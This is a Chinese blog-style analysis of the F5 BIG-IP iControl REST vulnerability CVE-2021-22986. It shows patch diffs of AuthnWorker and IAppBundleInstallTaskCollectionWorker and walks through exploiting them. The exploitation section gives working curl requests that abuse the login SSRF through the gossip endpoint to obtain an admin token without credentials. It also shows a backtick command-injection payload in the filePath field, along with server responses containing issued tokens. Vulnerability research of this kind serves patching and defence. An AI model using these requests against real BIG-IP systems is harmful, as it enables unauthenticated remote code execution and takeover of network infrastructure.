F5 BIGIP iControl REST CVE-2021-22986漏洞的分析与利用是怎样的

今天就跟大家聊聊有关F5 BIGIP iControl REST CVE-2021-22986漏洞的分析与利用是怎样的，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

漏洞概述

前段时间F5的BIGIP爆出了一些漏洞，其中CVE-2021-22986是一个pre-auth的RCE漏洞，存在于其iControl REST接口。其影响以下BIGIP的版本：

16.0.0-16.0.115.1.0-15.1.214.1.0-14.1.3.113.1.0-13.1.3.512.1.0-12.1.5.2

在此特地简陋的分析下该漏洞以及利用方式。由于本人Java水平不是很高，如有错误，敬请指正。

漏洞定位

因为官方是没有放出漏洞具体详情的，所以需要自己根据patch来定位漏洞。刚开始我用的15.1.2和15.1.2.1的版本进行diff，没有diff出命令注入。后来换成16.0.1和16.0.1.1就diff出来了。所以本次分析用的是bigip 16.0.1和16.0.1.1的版本。

官方说漏洞存在于iControl REST接口，查阅下相关资料即可知如何访问该接口，默认是可通过443端口/mgmt/xxx路径进行访问。然后分析下httpd.conf可知对该路径的请求都会转发至localhost:8100进行处理：

...# Access is restricted to traffic from 127.0.0.1    Require ip 127.0.0.1    Require ip 127.4.2.2    # This is an exact copy of the authentication settings of the document root.    # If a connection is attempted from anywhere but 127.*.*.*, then it will have    # to be authenticated.    # we control basic auth via this file...    IncludeOptional /etc/httpd/conf/basic_auth*.conf    AuthName "Enterprise Manager"    AuthPAM_Enabled on    AuthPAM_ExpiredPasswordsSupport on    require valid-userRewriteEngine onRewriteRule ^/mgmt$ /mgmt/ [PT]RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]# Don't proxy REST rpm endpoint requests.ProxyPass /mgmt/rpm !ProxyPass /mgmt/job !ProxyPass /mgmt/endpoint !# Proxy REST service bus requests.# We always retry so if we restart the REST service bus, Apache# will quickly re-discover it. (The default is 60 seconds.)# If you have retry timeout > 0, Apache timers may go awry# when clock is reset. It may never re-enable the proxy.ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0# Adjust URLs in HTTP response headersProxyPassReverse /vmchannel/ http://localhost:8585/vmchannel/ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/...

然后找到对应监听的主程序：

[root@localhost:NO LICENSE:Standalone] config # ps aux |grep 8100root      6138  0.6  5.4 451568 220732 ?       Sl   Mar24   6:21 /usr/lib/jvm/jre/bin/java -Djava.util.logging.manager=com.f5.rest.common.RestLogManager -Djava.util.logging.config.file=/etc/restjavad.log.conf -Dlog4j.defaultInitOverride=true -Dorg.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -Dsun.jnu.encoding=UTF-8 -Df......

分析该启动命令行可知，主类为com.f5.rest.workers.RestWorkerHost，大致知道下相关的jar文件都位于/usr/share/java/rest目录下。在diff一些文件大小和时间经过改变的jar文件后，最终在f5.rest.workers.authn.AuthnWorker和com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker中发现了一些变化：

f5.rest.workers.authn.AuthnWorker:protected void onPost(final RestOperation request) {     final String incomingAddress = request.getRemoteSender();     final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);     AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);-    if (state.password == null && state.bigipAuthCookie == null) {+    if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");       loginState.bigipAuthCookie = state.bigipAuthCookie;     }     if (incomingAddress != null && incomingAddress != "Unknown") {       loginState.address = incomingAddress;     }-    if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {+    if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {+       request.setStatusCode(401);       String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });       request.fail(new SecurityException(msg));+       return;     }+    boolean isAllowedLinks = false;++    if (state.loginReference != null && state.loginReference.link != null) {++      for (URI iter : this.subscriptions.keySet()) {+        if (state.loginReference.link.getPath().equals(iter.getPath())) {+          isAllowedLinks = true;+          break;+        }+      }+      if (!isAllowedLinks) {+        getLogger().severe("No login provider found.");+        String msg = String.format("No login provider found.", new Object[0]);+        request.fail(new SecurityException(msg));++        return;+      }+    }+     state.password = null;     request.setBody(state);...com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker:+  private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$");...   private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {     if (Utilities.isNullOrEmpty(taskState.filePath)) {       File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/");       if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {         String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";         failTask(taskState, error, "");         return;       }       File[] agcUseCasePack = agcUseCasePackDir.listFiles();       if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) {         String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";         failTask(taskState, error, "");         return;       }       taskState.filePath = agcUseCasePack[0].getPath();     }+    String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);+    Matcher m = validFilePathChars.matcher(filename);+    if (!m.matches()) {+      String errorMessage = String.format("Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new Object[] { filename });++++      failTask(taskState, errorMessage, "");++      return;+    }     final String extractTarCommand = "tar -xf " + taskState.filePath + " -O > /dev/null";     ShellExecutor extractTar = new ShellExecutor(extractTarCommand);...

结合下该链接的分析，可知第一个漏洞为一个SSRF漏洞。但是利用该漏洞有一些限制，稍后会提到。第二个漏洞为一个命令注入漏洞。

漏洞利用

SSRF影响的路径为/mgmt/shared/authn/login，命令注入影响路径为/mgmt/tm/access/bundle-install-tasks。查看f5.rest.workers.authn.AuthnWorker类可知，在访问/mgmt/shared/authn/login路径的时候如果POST数据中有loginReference字段，且满足以下条件会把该请求连带POST数据转发至该loginReference字段的link路径。

.......  if (state.password == null && state.bigipAuthCookie == null) {/* 323 */       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");/* 324 */       loginState.bigipAuthCookie = state.bigipAuthCookie;/*     */     } /*     *//* 327 */     if (incomingAddress != null && incomingAddress != "Unknown") {/* 328 */       loginState.address = incomingAddress;/*     */     }/*     *//* 331 */     if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {/* 332 */       request.setStatusCode(401);/* 333 */       String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });/*     *//* 335 */       request.fail(new SecurityException(msg));/*     *//*     */       return;/*     */     } ......

但是对该POST数据的字段是有白名单限制的。在转发该请求之前，请求的POST数据会被重新设置：

/* 318 */     final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);/* 319 */     AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);              ....../* 503 */     RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);/*     */ /*     *//* 506 */     sendPost(checkAuth);/*     */   }

可以看到会根据loginState来进行setbody，亦即设置POST数据。只允许AuthProviderLoginState的字段：

public class AuthProviderLoginState extends RestWorkerState {  public String username;  public String password;  public String address;  public String bigipAuthCookie;  public String authProviderName;  public RestReference userReference;  public List groupReferences;}

所以如果直接利用SSRF来进行命令注入的话，不符合的字段是传不到目标url的。

curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'

当该url处理完成后如果未发生异常默认会继续执行以下class的completed方法：

RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);RestRequestCompletion authCompletion = new RestRequestCompletion()/*     */       {/*     *//*     */        ....../*     */         public void completed(RestOperation operation) {/* 483 */           AuthnWorker.this.loginFailureMap.remove(failureKey);/*     *//* 485 */           AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);/*     */ /*     *//* 488 */           String authProviderId = loggedIn.authProviderName;/* 489 */           if (authProviderId == null) {/* 490 */             authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;/*     */           }/*     */ /*     *//* 494 */           AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in from %s using the %s authentication provider.", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });/* 499 */           AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);/*     */         }/*     */       };

访问该url(mgmt/tm/access/bundle-install-tasks)返回的json数据会根据字段赋值给loggedIn(class AuthProviderLoginState)的各个字段：

然后就会调用generateToken函数，根据函数名以及分析可知该函数可以产生登录时的token，然后用该token即可访问需要认证的资源。所以如果一切正常的话，上述访问应该给我们返回一个token，但实际上返回的是以下内容：

➜  CVE-2021-22986 ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'{"code":400,"message":"request failed with null exception","referer":"192.168.190.1","restOperationId":7145511,"kind":":resterrorresponse"}

所以需要分析下token获取失败的原因。审计java代码可发现token的产生是在AuthTokenWorker class里面，在关键代码处下断点后可发现token获取失败的原因，因为state.user为null。

传进去的state.user字段是在generateToken函数里面进行赋值的：

/*     */   public static void generateToken(RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {/* 516 */     if (authState.needsToken != null && !authState.needsToken.booleanValue()) {/* 517 */       request.setBody(authState);/* 518 */       request.complete();/*     *//*     */       return;/*     */     } /* 522 */     AuthTokenItemState token = new AuthTokenItemState();/* 523 */     token.userName = loginState.username;/* 524 */     token.user = loginState.userReference;/* 525 */     token.groupReferences = loginState.groupReferences;/* 526 */     token.authProviderName = loginState.authProviderName;/* 527 */     token.address = request.getXForwarderdFor();....../* 547 */     RestOperation createToken = RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] { WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH })).setBody(token).setCompletion(tokenCompletion).setReferer("authn-generate-token");  <====/*     *//* 553 */     RestRequestSender.sendPost(createToken);......

根据前面分析可知，loginState各字段的赋值来源于对目标url访问返回的json数据。而此时我们传进去的userReference字段是null的，所以触发了state.user==null，获取token会失败，这是最根本的原因。

所以要想正常获取token需要我们利用ssrf访问的url返回的json数据包含userReference字段。只需要找到一个能返回userReference字段的worker(url)即可。

在经过查找后，gossip worker(/mgmt/shared/gossip)符合条件：

➜  CVE-2021-22986 ✗ curl -ksu admin:xxx https://192.168.190.136/mgmt/shared/gossip -d '{"userReference":{"link":"xxx"}'{"userReference":{"link":"xxx"}

所以利用ssrf访问该url可正常获取token：

➜  CVE-2021-22986 ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"admin","bigipAuthCookie":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'{"username":"admin","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"GFCDZ5OHG26QRMFKKETVAV2M6Q","name":"GFCDZ5OHG26QRMFKKETVAV2M6Q","userName":"admin","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T07:51:35.742-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616683895741691,"expirationMicros":1616685095742000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/GFCDZ5OHG26QRMFKKETVAV2M6Q"},"generation":0,"lastUpdateMicros":0}

需要注意的是虽然username字段不指定时也可产生token，但此token是没有权限的。

➜  CVE-2021-22986 git:(master) ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"","bigipAuthCookie":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'{"username":"","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"F7B7234EB5G2DAZPKYZJZZE6I3","name":"F7B7234EB5G2DAZPKYZJZZE6I3","userName":"","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T08:01:02.827-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616684462826871,"expirationMicros":1616685662827000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/F7B7234EB5G2DAZPKYZJZZE6I3"},"generation":0,"lastUpdateMicros":0}

所以实际上利用该url需要知道管理员用户名才行，但是设备默认管理员用户名就是admin，且好像不可更改和删除，问题不大。获取token后然后结合命令注入即可达到RCE的效果。

看完上述内容，你们对F5 BIGIP iControl REST CVE-2021-22986漏洞的分析与利用是怎样的有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注行业资讯频道，感谢大家的支持。